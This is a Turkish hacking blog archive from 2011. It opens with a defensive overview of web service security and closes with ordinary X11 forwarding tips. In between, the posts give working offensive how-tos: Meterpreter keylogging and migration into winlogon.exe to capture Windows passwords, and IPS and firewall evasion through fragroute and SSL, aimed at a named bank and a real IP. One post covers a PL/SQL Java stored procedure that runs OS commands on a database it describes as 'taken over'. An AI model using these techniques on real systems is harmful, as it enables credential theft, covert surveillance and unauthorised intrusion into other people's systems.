28 Aralık 2011 Çarşamba

Web Servisi Güvenliği


Günümüz uygulamalarında gittikçe artan bir ihtiyaç da uygulamaların entegre olması ve verilerin paylaşılmasıdır. Uygulama veya veri tabanı seviyesinde birçok güvenlik standardı bulunurken bu yeni gelişen entegrasyon katmanında standartlar ve yaklaşımlar yeni yeni oluşmaya başlamıştır. Bu makalemde bu konu hakkında bilgi vermek istiyorum. Web servisleri konusunda dünya genelinde kabul görmüş organizasyonları listeleyecek olursak;
  • ·         OASIS (The Organization for the Advancement of Structured Information Standards)
  • ·         W3C (The World Wide Web Consortium)
  • ·         WS-I (The Web Services Interopability Organization)
  • ·         IETF (The Internet Engineering Task Force)
Bu organizasyonlar ve bu katmanda ürün piyasaya süren (IBM,Oracle – BEA, Microsoft, Software Ag, v.s.) şirketler tarafından Şekil -1 deki standartlar belirlenerek güvenli bir şekilde entegrasyonun sağlanması amaçlanmaktadır.
Şekil -1.  Web Servis Güvenlik Standartları
Bu standartlar genel olarak WS-Security standartları olarak adlandırılır. Farklı web servis üreticileri için aralarında paylaşımın güvenli şekilde sağlanmasında  da “WS-Federation” standartları benimsenmiştir.
Genel olarak Web servi s işleyiş sürecini güvenlik açısından inceleyecek olursak, şekil-2  de görüldüğü üzere,
1.       Bir istemci web servisten önce servis bilgileri isteğinde bulunur. Burada ilk aşama güvenlik olarak servis bilgilerini bulunduran dosyalara authentication (Basic, Digest, Integrated ve Certificate Authentication) ile erişimin kısıtlanmasıdır.
2.       Authentication dan sonraki aşama ise Yetkilendirme (authorization) aşamasıdır. Bu aşamada istemci kendini tanıtmış gerekli güvenlik onayını geçmiş ve bir istekte bulunmuştur fakat her istemcinin tüm veriye erişmesi istenmeyen bir durum olduğu için her istemciye ayrı bir yetki verilmelidir.İşte bu işlem bu adımda gerçekleşmektedir.
3.       İstemcinin yetkilerini sunucu tarafında kontrol ettikten sonra istemcinin güvenliği ve sunucunun güvenilirliği için mesajın kime ait olduğunun tespit edilebilmesini sağlayan imzalama (signature) aşamasına geçilir.bu aşamada geçerli bir sertifika ile mesaj imzalanır ve karşı trafa gönderilmeye hazır hale getirilir.
4.       Son aşama ise mesaj içeriğinin şifrelenmesi aşaması olan encryption aşamasıdır. Bu aşamada kullandığınız platformun desteklediği yeteneklere göre istenilen formatta mesajı şifreleyebilirsiniz.Yeter ki istemci kullandığınız yöntemi bilsin ve ona göre şifrelenmiş mesajı çözüp anlamlı hale getirebilsin.
Şekil-2.  Web Servis İşleyiş Diagramı





Neden web servislerinde güvenliğe dikkat etmeliyiz?
·         Web servisleri, uygulamaların API lerine ve hedef uygulamalara erişim sağladığından birçok güvenlik açıklıkları bulunmaktadır.
·         Web servislerinin dağıtık ve uçtan-uca yapısı, tehdit ve güvenlik açıklıklarının bir uygulamadan başka uygulamalara atlamalarına neden olabilmektedir.
·         Internet ortamında çok daha fazla kullanıcı, çok daha fazla bilgi, belge, hacker v.s. dolaşmaktadır.
Mevcut Güvenlik Çözümleri Web Servisleri Güvenliği İçin Yeterli mi?
SSL Güvenliği
·          Noktadan noktaya güvenlik sağlar, tüm veriyi şifreler ancak verinin içeriği ile ilgilenmez.
·          Taşıma seviyesinde kullanıcı doğrulaması yapabilir, mesaj seviyesinde yapamaz.
 Network Firewall ları
·         Ağ üzerinden geçen paketlerin kaynak/hedef gibi temel özelliklerine bakıp, paketin geçip geçmemesine karar verirler.
·         Nereden geldiği, Kimin oluşturduğu, Hedefi, Ne zaman geldiği gibi ayrıntılara bakmazlar.
Application Firewall lar
·         Paketin içeriğine göre geçip geçmemesine karar verir.
·         Paketin içeriği uygun mu? paketin içindeki bilgi ne kadar öncelikli? paketin içeriğinin yapısı doğru mu? Gibi önemli kısımlara bakmazlar.
İşte eksik kalan bu özellikler için web servislerin temelini oluşturan XML için donanımsal veya yazılımsal firewall lar tasarlanmıştır. Bu Firewall lar genel olarak aşağıdaki işlemleri gerçekleştirebilir.
·         Gelen XML dökümanı/mesajı yapısı, kurum tarafından belirlenen XML şemasına uyup uymadığını kontrol eder.
·         Zararlı kod içerip içermediğini belirli tekniklere göre kontrol eder.Hatta bazı ürünler gömülü bir antivirüs programı barındırdırır,
·         Gelen Mesajın Mesaj Seviyesi Güvenliği (MessageLevel Security) var mı kontrol eder.
·         Alıcının veya göndericinin kimlik doğrulama işlemleri ve yetkileri (Authentication and Authorization) işlemini gerçekleştirir,
·         İzleme ve kayıt altına alma (Audit and Accounting) işlemlerini yapabilir,
·         HTTP header, SOAP, ve XML seviyelerinde atakları bloklar. Attachment dosyaları scan edilir. Zararlı mesajlar bloklanır,
·         Veri tabanından sorgulama yapabilir. Dönen veriyi XML mesajının içine ve/veya mesaj header’ine enjekte edebilir,
·          Hizmet seviyesi anlaşmasına (SLA) göre yükü dengeler,
·         Aynı web servis üzerinde Client ’e özel politikalar tanımlanabilir,
·         Client ‘a özel istek işleme sayısının sınırlanması yapılabilir,
·         Client’a özel SLA (service-level agreement) tanımlama ve uyarılar yapılabilir,
·         Bazı servis metotlarını belli client lardan saklanabilir,
·         Client lar IP adres,  SAML özellik, SOAP/transport header ları bazında tanımlanabilir.
·         Uyarılar windows event log, Unix/Linux syslog, SNMP, Email gibi farklı kanallara iletilebilir.
·         Web servis erişimlerini gerçek zamanlı izleme ve raporlama yapma imklanı sağlar.

Şekil-3. Web Servisleri Ortamında Güvenlik Mimarisi
XML Firewall ler Şekil-3 deki gibi ideal bir mimari ortamında İlk Kontrol noktasında konumlandırılmalıdır.
Web Servislerine Yapılan Saldırı Türleri
1. WSDL Tarama
Bu saldırı, bir web servisi tarafından sunulan WSDL arayüzünü bulmayı sağlar. Saldırgan, web serivisi oluşturmak için kullanılan teknolojiyi tespit etmek ve ilgili güvenlik açıklarını bulmak için WSDL arayüzü taraması yapabilir.Genellikle Bu tür saldırılar daha ciddi saldırılar gerçekleştirmek için (örneğin parametre kurcalama(paremeter tempering), zararlı içerik enjeksiyonu(malicious content injection), komut enjeksiyonu(command injection)  vb.) yapılmaktadır. WSDL dosyaları, tüketicilere sunulan hizmetlerin portları ve parametreleri hakkında ayrıntılı bilgi sağlar. Örneğin, saldırgan, özel karakterler veya kötü niyetli içerik göndererek serivisin hizmet dışı kalmasına yada önemli bilgilerin veritabanından çekilmesine neden olabilir. Buna ek olarak, saldırgan WSDL dosyalarında sağlanan bilgileri kullanarak diğer özel yöntemlerle aynı servis altında tanımlı gizli metotları tahmin edebilir.
2. DoS Saldırıları
Bilindiği üzere Servis dışı bırakma saldırıları olarak adlandırılan bu saldırı türü web servisleri içinde tehhlike arz etmektedir.
a.       XML Jumbo Tag İsimleri
XML içerisindeki meta verilerin (element name,attribute name,name space v.s.) max boyutlarının aşılarak ayırştırıcı tarafından işlenememesi sonucunu ortaya çıkaran saldırı türüdür.
b.      Coercive Parsing
XML verisi içerisinde “CDATA” alanları ayrıştırıcı (parser) tarafından ele alınmazlar. Saldırganlar bu alanları kullanarak sistem komutları gönderebilir.Bu tip saldırılara coercive parsing denmektedir.
c.       XML Döküman Büyüklüğü
XML dosyaları içerisine büyük boyutlu veri girilmesi sonucu web servis sunucusu bu xml dosyasını işleyemez ve yeni gelen servis isteklerine cevap veremez hale gelir.
3. Enjeksiyon Saldırıları
a. SQL Enjeksiyonu
Daha önceden de bildiğimiz bu saldırı yöntemi web servisler içinde geçerlidir. XML içerisine beklenmeyen sql cümlecikleri eklenerek ekstra bilgiye erişim sağlayan saldırı yöntemidir.
b. XML Enjeksiyonu
Bu saldırı türünde de sql cümleciği yerine istenilen bir xml cümleciğini servise aktarmayı hedefler. Bu saldırı sayesinde mesela sizin bir adet kayıt girme hakkınız var servisde fakat siz bu yöntemle xml ayrıştırıcıyı da atlatarak birden fazla veri girişi sağlayabilirsiniz.
4. Zararlı Yazılım, virüs
Diğer sistemlerde olduğu gibi web servisi sunduğunuz platformun açıklıklarından faydalanan ve sisteme zarar veren yazılım ve virüsler bu ortam içinde geliştirilmeye başlanmıştır.





Burada saydığımız saldırılardan korunmak için XML firewall üzerinde Politika(Policy) tanımlamalıyız. Kısaca çok kullanılan politikaları inceleyelim.
Politikalar (Policy)
1.       Schema validasyonu
Bir XML dosyanin icerigini kontrol etmek icin schema dosyalarindan faydalanırız. XML schema dosyasi, XML dosyasinin iceriginin sahip olmasi gereken kurallari tanimlayan, uzantisi XSD (XML Schema Definition) olan dosyalardir.
XSD icerisnde bahsedilen kurallar sunlardir;
·         XML dosyasi icinde var olmasi beklenen element ve attibute'ler, bunlara ait olan data tipleri.
·         -XML dosyasinin yapisi. Elementler ve bu elementlere ait olan child element'ler.
·         -Child elementlerin sayisi ve sirasi.
·         Element'lerin bir text degere sahip olup olmayacagi.
2.       Hata mesajı ekleme
Bilgi sızmaması için özel koşullar oluştuğunda web servisin cevabı yerine anlamlı hata mesajı dönmesi bir güvenlik yöntemidir.
3.       IP filtreleme
Web servisine erişimin IP bazlı kısıtlanmasını sağlayan politikadır.
4.       WS-Security Kullanıcı bilgileri ekleme
Farklı güvenli protokolleri kullanarak web serive ulaşmadan daha öncesinde bir kullanıcı kontrol mekanizması oluşturan politikadır.
5.       Routing
Arka planda çalışan servisin gerçek adresinin tespit edilememesi için ip ve port bazlı yönlendirmeye olanak sağlayan politikadır
6.       Zaman Filtreleme
Servisin istediğiniz saatler dışında kullanılmamasını sağlayan politika.

Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum. 

Referanslar:
[1]          Web Servis Güvenliği Semineri 2011 – Cemal Gemci, Aslı Köksal
[5]          https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29

23 Kasım 2011 Çarşamba

Meterpereter Keylogger Sorunu

Evet,bazen nedense keylogger işlemiyor bu gibi durumlarda meterpereter session ı açtıktan sonra


run keylogrecorder -c 0 komutunu çalıştırırsanız
 
[*]     explorer.exe Process found, migrating into 2812
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to 
C:/Users/Faruk/.msf3/logs/scripts/keylogrecorder/....txt
[*] Recording
 
şeklinde bir sonuç alırsınız
 
yada
 
meterpreter > getsystem
 ...got system (via technique 1).
meterpreter > run keylogrecorder -c 0 -t 15
[*]     spshell.exe Process found, migrating into 1980 
 
bunu deneyebilirsiniz... 

windows şifresini almak için de önce winlogon.exe processine migrate olmanız gerekiyor.


meterpreter> ps
Process list
============
 
 PID   Name                 Arch  Session  User                         
 ---   ----                 ----  -------  ----                          
 0     [System Process]
 4     System               x86   0        NT AUTHORITY\SYSTEM
 544   smss.exe             x86   0        NT AUTHORITY\SYSTEM       
 608   csrss.exe            x86   0        NT AUTHORITY\SYSTEM         
 2976   winlogon.exe         x86   0        NT AUTHORITY\SYSTEM         
meterpreter > migrate 2976
[*] Migrating to 2976...
[*] Migration completed successfully.
 

 
c - açık olan oturumlardan hangisine bağlanmak istiyorsunuz.
    0 varsayılan ilk oturumdur.
l - kişiyi logoff olmaya zorlar bu asyede beklemeden windows 
    şifresini alabilirsiniz.
t - kaç saniyede bir keyleri almasını istiyorsunuz.

meterpreter> run keylogrecorder -c 1 -l -t 5
[*] Locking Screen...
[*] Screen has been locked
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/...
[*] Recording
 
 
 
 
 
 

22 Kasım 2011 Salı

Killing user session remotely – windows

Bazen açık kalan session lardan dolayı uzak masaüstü maximum sayıya ulaştı diye bir hata alıyoruz bu durumlarda meterpereter ile session açıp shell e düştükten sonra

qwinsta komutu ile tüm sessionları listeleyebilirsiniz.

 örn
 SESSIONNAME       USERNAME           ID  STATE   TYPE        DEVICE
>                                   sysadmin                  0  Disc    rdpwd              
 rdp-tcp                                                  65536  Listen  rdpwd              
 console                                                         4  Conn    wdcon              
 rdp-tcp#34                   sainflexdb                1  Active  rdpwd              
 rdp-tcp#35                   sainflexdb                2  Active  rdpwd              


sonra logoff [session id] /v komutuyla istediğiniz sessionı sonlandırabilirsiniz.

25 Ağustos 2011 Perşembe

Firewall, IPS vb Atlatma


IPS'lerin çok başarılı olamamasının 2 nedeni:
Webden gelen saldırılar
Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
Firewall var mı kontrolü:
Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
Atlatma Yöntemi: Packet Fragmentation.
IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
$ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
$ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
Daha sonra fragmentation:
$ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
Atlatma Yöntemi: Encoding
Atlatma Yöntemi: SSL Kullanımı
telnet akbank.com 80 yerine
ncat --ssl akbank.com 443 kullanmak.
Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
LoadBalancer varlığı kontrolü:
Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.
Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.

Kaynak: wug.blogspot.com

21 Temmuz 2011 Perşembe

Running shell script from PL/SQL

veritabanını ele geçirdiniz fakat hala işletim sistemine ulaşamıyorsanız önce aşağıdaki sql lleri çalıştırarak gerekli stored procedure u oluşturun

exec dbms_java.grant_permission ('DBA_ADMIN', 'java.io.FilePermission','/usr/bin/ps', 'execute');
exec dbms_java.grant_permission ('DBA_ADMIN','java.lang.RuntimePermission','*','writeFileDescriptor' );

Create or replace and compile
java source named “Util”
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/




create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name ‘Util.RunThis(java.lang.String) return integer’;
/




create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/




sonra sqlplus ta aşağıdaki gibi kullanabilirsiniz.


variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
exec :x := RUN_CMD(‘ls /oracle’);

24 Haziran 2011 Cuma

Enabling remote X-windows

konsol ile baglandiktan sonra direk
$ ssh -X host
komutunu calistirark xwindowlu tum uygulamalari yonlendirebilir yada

This will set the DISPLAY variable automatically and any X program you run will be automatically tunneled back through the ssh connection.

Otherwise we're going to need to enable it. Here's how:

1. Go to System->Administration->Login Window (or run gdmsetup as root)
2. Under the security tab uncheck "Deny TCP connections to Xserver"
3. Now we have to restart gdm which will kill our Xsession.
# kill -HUP `cat /var/run/gdm.pid`

or if you prefer to edit /etc/gdm.conf by hand, make sure there are no overriding settings in /etc/gdm.conf-custom. Under the security section change DisallowTCP to false.

Unfortunately we cannot use gdmflexiserver, only a gdm restart will work.



Remotely Displaying an Ubuntu Linux Application

The first step in remotely displaying an application is to move to the system where the application is to be displayed. At this system, ssh into the remote system so that you have a command prompt. This can be achieved using the ssh command. When using the ssh command we need to use the -X flag to tell ssh that we plan to tunnel X traffic through the tunnel:


ssh -X user@hostname

where username is the user name to use to log into the remote system and hostname is the hostname or IP address of the remote system. Enter your password at the login prompt. Once logged in, run the following command to see the DISPLAY setting:


echo $DISPLAY


The command should output something similar to the following:


localhost:10.0

To display an application simply run it from the command prompt. For example:


xclock

When run, the above command should run the xclock utility on the remote system, but display the output on the local system:


xclock&

[edit] Trusted X11 Forwarding



If the /etc/ssh/ssh_config file on the remote system contains the following line, then it is possible to use trusted X11 forwarding:


ForwardX11Trusted yes

Trusted X11 forwarding is slightly faster than untrusted since it does not engage the X11 security controls. The -Y flag is needed when using trusted X11 forwarding:


ssh -Y user@hostname

[edit] Compressed X11 Forwarding


When using slower links the X11 data can be compressed using the -C flag:



ssh -X -C user@hostname